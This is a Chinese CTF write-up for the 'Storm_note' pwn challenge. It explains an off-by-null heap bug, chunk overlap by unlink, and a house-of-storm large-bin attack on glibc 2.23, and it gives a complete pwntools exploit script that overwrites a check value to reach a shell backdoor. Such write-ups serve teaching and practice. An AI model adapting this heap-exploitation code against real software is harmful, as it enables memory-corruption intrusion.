西湖论剑 Pwn Storm_note 比较经典的一道largebinattack的pwn题
查保护
glibc是2.23的,也没有去符号表
静态分析
存在后门,输入666执行后门,我们输入的内容和0xABCD0100处比较,相同即可getshell,这个地址里的值是init_proc中写进去的随机值,所以我们要么泄露出这个值,要么修改这个值,才能输入通过
这里也不存在泄露信息的函数,所以基本要修改掉这里面的值了
并且程序还开了mallopt(1, 0),在ptmalloc2中,mallopt(1, 0)的作用是禁用fastbin
漏洞点在edit函数里存在一个off-by-null
我们主要利用此漏洞触发unlink,构造堆重叠
漏洞利用 先建7个chunk
1 2 3 4 5 6 7 8 9 add(0x18 ) add(0x508 ) add(0x18 ) add(0x18 ) add(0x508 ) add(0x18 ) add(0x18 )
然后伪造一个pre_size防止chunk2的presize被破坏无法unlink,再释放1
1 2 3 4 5 edit(1 , b'a' *0x4f0 + p64(0x500 )) free(1 ) edit(0 , b'a' *(0x18 ))
此时再去申请出chunk时就不会破坏chunk2的presize位
接下来去进行unlink,构造堆重叠:
1 2 3 4 5 6 free(1 ) free(2 ) add(0x30 ) add(0x4e8 )
现在2号块和7号块就已经重叠了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 edit(4 , b'a' *(0x4f0 ) + p64(0x500 )) free(4 ) edit(3 , b'a' *(0x18 )) add(0x18 ) add(0x4d8 ) free(4 ) free(5 ) add(0x40 ) free(2 ) ''' pwndbg> x/10gx 0x555555554000+0x2020a0 0x5555557560a0: 0x0000555555757010 0x0000555555757030 0x5555557560b0: 0x0000000000000000 0x0000555555757560 0x5555557560c0: 0x0000555555757580(4) 0x0000000000000000 0x5555557560d0: 0x0000555555757ab0 0x0000555555757050 0x5555557560e0: 0x00005555557575a0(8) 0x0000000000000000 '''
现在unsortedbin中布局如下:
1 2 3 4 ''' unsortedbin all: 0x555555757060 —▸ 0x5555557575c0(0x4d0) —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757060 /* '`puUUU' */ '''
unsortedbin模式为FIFO,此时我们申请0x4e8会先检查我们最先free进去的chunk4发现size不够放进largebin
然后我们再删除2号块将其放进unsortedbin
1 2 3 4 5 6 7 8 9 add(0x4e8 ) free(2 ) ''' unsortedbin all: 0x555555757060(7->2) —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757060 /* '`puUUU' */ largebins 0x4c0: 0x5555557575c0(8 5a0) —▸ 0x7ffff7dd1f98 (main_arena+1144) ◂— 0x5555557575c0 '''
此时house of storm的条件已经准备完成了接着布置其bk,bk_nextsize
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 target = 0xabcd0100 fake_chunk = target - 0x20 layout = [ '\x00' * 16 , p64(0 ), p64(0x4f1 ), p64(0 ), p64(fake_chunk) ] edit(7 , flat(layout)) layout = [ '\x00' * 32 , p64(0 ), p64(0x4e1 ), p64(0 ), p64(fake_chunk + 8 ), p64(0 ), p64(fake_chunk - 0x18 - 5 ) ] edit(8 , flat(layout))
不太清楚为什么这么构造的师傅可以看前两篇largebinattack的博客
接下来申请0x48的chunk触发,再改chunk内容即可
1 2 3 4 5 6 add(0x48 ) edit(2 , p64(0 ) * 8 ) io.sendline('666' ) io.recvuntil('If you can open the lock, I will let you in' ) io.sendline('\x00' *0x30 )
多试几次或者,写个爆破脚本:
exp: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) def add (size ): io.sendlineafter(b'Choice: ' , '1' ) io.sendlineafter(b'size ?' , str (size)) def edit (index, content ): io.sendlineafter(b'Choice: ' , str (2 )) io.sendlineafter(b'Index ?' , str (index)) io.sendafter(b'Content:' , content) def free (index ): io.sendlineafter(b'Choice: ' , str (3 )) io.sendlineafter(b'Index ?' , str (index)) def exploit (): global io while True : io = process('./Storm_note' ) add(0x18 ) add(0x508 ) add(0x18 ) add(0x18 ) add(0x508 ) add(0x18 ) add(0x18 ) edit(1 , b'a' * 0x4f0 + p64(0x500 )) free(1 ) edit(0 , b'a' * (0x18 )) add(0x18 ) add(0x4d8 ) free(1 ) free(2 ) add(0x30 ) add(0x4e8 ) ''' pwndbg> x/10gx 0x555555554000+0x2020a0 0x5555557560a0: 0x0000555555757010 0x0000555555757030 0x5555557560b0: 0x0000555555757070(2) 0x0000555555757560 0x5555557560c0: 0x0000555555757580 0x0000555555757a90 0x5555557560d0: 0x0000555555757ab0 0x0000555555757050(7) ''' edit(4 , b'a' * (0x4f0 ) + p64(0x500 )) free(4 ) edit(3 , b'a' * (0x18 )) add(0x18 ) add(0x4d8 ) free(4 ) free(5 ) add(0x40 ) free(2 ) ''' pwndbg> x/10gx 0x555555554000+0x2020a0 0x5555557560a0: 0x0000555555757010 0x0000555555757030 0x5555557560b0: 0x0000000000000000 0x0000555555757560 0x5555557560c0: 0x0000555555757580(4) 0x0000000000000000 0x5555557560d0: 0x0000555555757ab0 0x0000555555757050 0x5555557560e0: 0x00005555557575a0(8) 0x0000000000000000 ''' ''' unsortedbin all: 0x555555757060 —▸ 0x5555557575c0(0x4d0) —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757060 /* '`puUUU' */ ''' add(0x4e8 ) ''' largebins 0x4c0: 0x5555557575c0 —▸ 0x7ffff7dd1f98 (main_arena+1144) ◂— 0x5555557575c0 ''' free(2 ) ''' unsortedbin all: 0x555555757060(7->2) —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757060 /* '`puUUU' */ largebins 0x4c0: 0x5555557575c0(8 5a0) —▸ 0x7ffff7dd1f98 (main_arena+1144) ◂— 0x5555557575c0 ''' target = 0xabcd0100 fake_chunk = target - 0x20 layout = [ '\x00' * 16 , p64(0 ), p64(0x4f1 ), p64(0 ), p64(fake_chunk) ] edit(7 , flat(layout)) layout = [ '\x00' * 32 , p64(0 ), p64(0x4e1 ), p64(0 ), p64(fake_chunk + 8 ), p64(0 ), p64(fake_chunk - 0x18 - 5 ) ] edit(8 , flat(layout)) try : io.sendlineafter('Choice' , '1' ) io.sendlineafter('?' , str (0x48 )) io.recvuntil('Choice' ) except EOFError: io.close() continue io.sendline(str (2 )) io.sendlineafter(b'Index ?' , str (2 )) io.sendafter(b'Content:' , p64(0 ) * 8 ) io.sendline('666' ) io.recvuntil('If you can open the lock, I will let you in' ) io.sendline('\x00' * 0x30 ) break if __name__ == '__main__' : exploit() io.interactive()